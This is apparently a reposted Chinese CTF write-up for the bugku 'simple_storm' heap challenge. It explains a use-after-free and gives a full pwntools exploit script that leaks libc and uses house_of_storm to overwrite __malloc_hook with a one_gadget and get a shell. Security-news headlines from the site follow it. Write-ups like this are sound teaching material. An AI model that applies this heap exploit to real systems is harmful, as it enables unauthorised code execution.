一题house_of_storm的简单利用

VSole2021-11-06 16:23:44

本文为看雪论坛优秀文章

看雪论坛作者ID:git_91357jnabnsn

第一次写wp,理论知识不太牢靠,求大佬轻喷(理论可以看看我的参考链接)。

切记ASLR功能一定要开!

题目来自bugku[https://ctf.bugku.com/challenges/detail/id/323.html]

首先使用checksce检查elf的保护

发现保护基本上全开了(堆题的常规操作)

使用IDA64查看ELF的功能,查看主要功能

main函数

使用mallopt(1, 0)关闭了fastbin,其余就是正常的菜单选择以及缓冲区设置。第一个puts提示了这题是house_of_storm。

menue函数

普通的菜单输出,就不上图了。

add函数

正常的堆分配,堆大小由用户输入,但是限制大小在0-0x410。并将堆大小存储在ptr_size数组之中。

delete函数

该题漏洞点所在,free之后未置零,存在UAF漏洞。

edit函数

堆块编辑功能,这里的大小从ptr_size数组中获取,用户无法控制,且不存在one-by-null漏洞。

show函数

这题存在show函数,可以打印堆块内容,可以结合UAF漏洞,泄露出libc地址。

写exp

首先老套路,根据IDA写出相应的功能代码,准备好环境。

from pwn import * p = process("./simple_storm")""" p = remote("114.67.246.176",10901) """elf = ELF("./simple_storm")libc = ELF("/root/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6") pid = proc.pidof(p)context.log_level = "debug"  def add(size):    p.sendlineafter("Your choice?", str(1))    p.sendlineafter("Size?", str(size))  def delete(idx):    p.sendlineafter("Your choice?", str(2))    p.sendlineafter("Index?", str(idx))  def edit(idx, content):    p.sendlineafter("Your choice?", str(3))    p.sendlineafter("Index?", str(idx))    p.sendlineafter("Content?", content)  def show(idx):    p.sendlineafter("Your choice?", str(4))    p.sendlineafter("Index?", str(idx))  def exit():    p.sendlineafter("Your choice?", str(5))

现在,我们先创建0x410和0x400大小的两个堆,然后在它们的后面各自插入一个任意大小的堆,防止被合并。先释放小的堆,再释放大的堆。(这是为了不满足(unsigned long) (size) < (unsigned long) (bck->bk->size)这个条件,从而进入else的区块。)

第九行的代码,是为了使得原来的chunk2进入large bin中,第十行的代码为了将新申请的0x410大小的堆块进入unsorted bin。由于存在UAF漏洞,所以我们可以直接show(4)查看main_arena+88的地址(详见unsorted_bin leak)。然后构造我们想要获取的堆块的地址。

add(0x410)#0add(0x10)#1 防止合并add(0x400)#2add(0x10)#3 防止合并 delete(2)delete(0) add(0x410)#4delete(4) offset = 0x3c4b78show(4)main_arena = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) libc_base = main_arena - offsetprint ("libc_base is :",hex(libc_base)) malloc_hook = libc.symbols["__malloc_hook"]+libc_baseprint ("malloc_hook is :",hex(malloc_hook)) fake_chunk = malloc_hook - 0x30print ("fake_chunk is :",hex(fake_chunk))

使用UAF漏洞,构造unsorted_bin中的堆块写入我们想要申请到地址。然后构造large_bin中的bk以及bk_nextsize的值。bk_nextsize最后会成为我们fake_chunk的size,一般为0x55或者0x56。(再次提醒,一定要开aslr,而且等级2。不然的话堆地址不随机,永远0x55,一辈子都成功不了。)

接着的malloc(0x48),即会触发house_of_storm漏洞,在fake_chunk写入size,又会申请到该chunk。最后通过将one_gadget写入malloc_hook的地址,通过一次malloc即可获得shell。

edit(0,p64(0) + p64(fake_chunk))edit(2,p64(0) + p64(fake_chunk+ 8) + p64(0) + p64(fake_chunk - 0x18 - 5)) add(0x48)#5edit(5,(p64(0) * 4) + p64(libc_base + 0x4527a)) add(0x10)p.interactive()

写在最后

这题的libc为2.23最后打成功的libc版本在我的exp中有。这算第一次不依靠WP做出的堆题,纪念一下。同时提醒自己记住PIE与aslr的关系,错失一血。

这题需要一点运气,需要fake_chunk的size为0x56才能成功。大佬们说是因为

assert (!victim || chunk_is_mmapped (mem2chunk (victim))||ar_ptr == arena_for_chunk (mem2chunk (victim)));

的原因。我没看过源码,不太清楚。但是我使用gdb发现,如果0x55的话,会进行and rax 0xfffffc000000的操作,并且再取rax中的值。rax原本为你所申请的堆块地址,经过该操作后,后6位为0,地址空间中没有该地址,所以最后会报段错误。

漏洞
本作品采用《CC 协议》,转载必须注明作者和本文链接
该公司吸引的总投资金额已超过5600万美元,新一轮融资将主要用于加速公司在全球范围内的扩张,并支持其从北美到欧洲不断增长的全球客户群,同时也将支持推进AI路线和产品技术创新。
漏洞概述  漏洞名称Google Chrome WebRTC 堆缓冲区溢出漏洞漏洞编号QVD-2023-48180,CVE-2023-7024公开时间2023-12-20影响量级千万级奇安信评级高危CVSS 3.1分数8.8威胁类型代码执行、拒绝服务利用可能性高POC状态未公开在野利用状态已发现EXP状态未公开技术细节状态未公开利用条件:需要用户交互。01 漏洞详情影
漏洞分析 CVE-2010-0249
2023-11-25 17:50:17
漏洞分析 CVE-2010-0249
漏洞信息共享合作单位证书近日,Coremail获得由国家信息安全漏洞库(CNNVD)颁发的“CNNVD漏洞信息共享合作单位”证书。 此证书是国家权威机构对Coremail安全研究技术和漏洞挖掘技术实力的充分肯定,也是双方合作的里程碑。 国家信息安全漏洞库(CNNVD), 为负责建设运维的国家级信息安全漏洞数据管理平台, 旨在为我国信息安全保障提供服务。  “
漏洞预警 CraftCMS远程代码执行漏洞
漏洞排查与处置,是安全管理员在安全运营中都会碰到的问题,常见却很难做好。
美国联邦调查局于近日警告称,梭子鱼电子邮件安全网关(ESG)的一个重要远程命令注入漏洞的补丁 "无效",已打补丁的设备仍在不断受到攻击。
点击上方蓝字 关注安全知识引言Fiora:漏洞PoC框架Nuclei的图形版。快捷搜索PoC、一键运行Nu
Mikrotik RouterOS操作系统不支持暴力保护,默认的“admin”用户密码在2021年10月之前是空字符串。更让人震惊的是,检测CVE-2023-30799的利用“几乎不可能”,因为RouterOS web和Winbox接口实现了自定义加密,而威胁检测系统Snort和Suricata无法解密和检查这些加密。
VSole
网络安全专家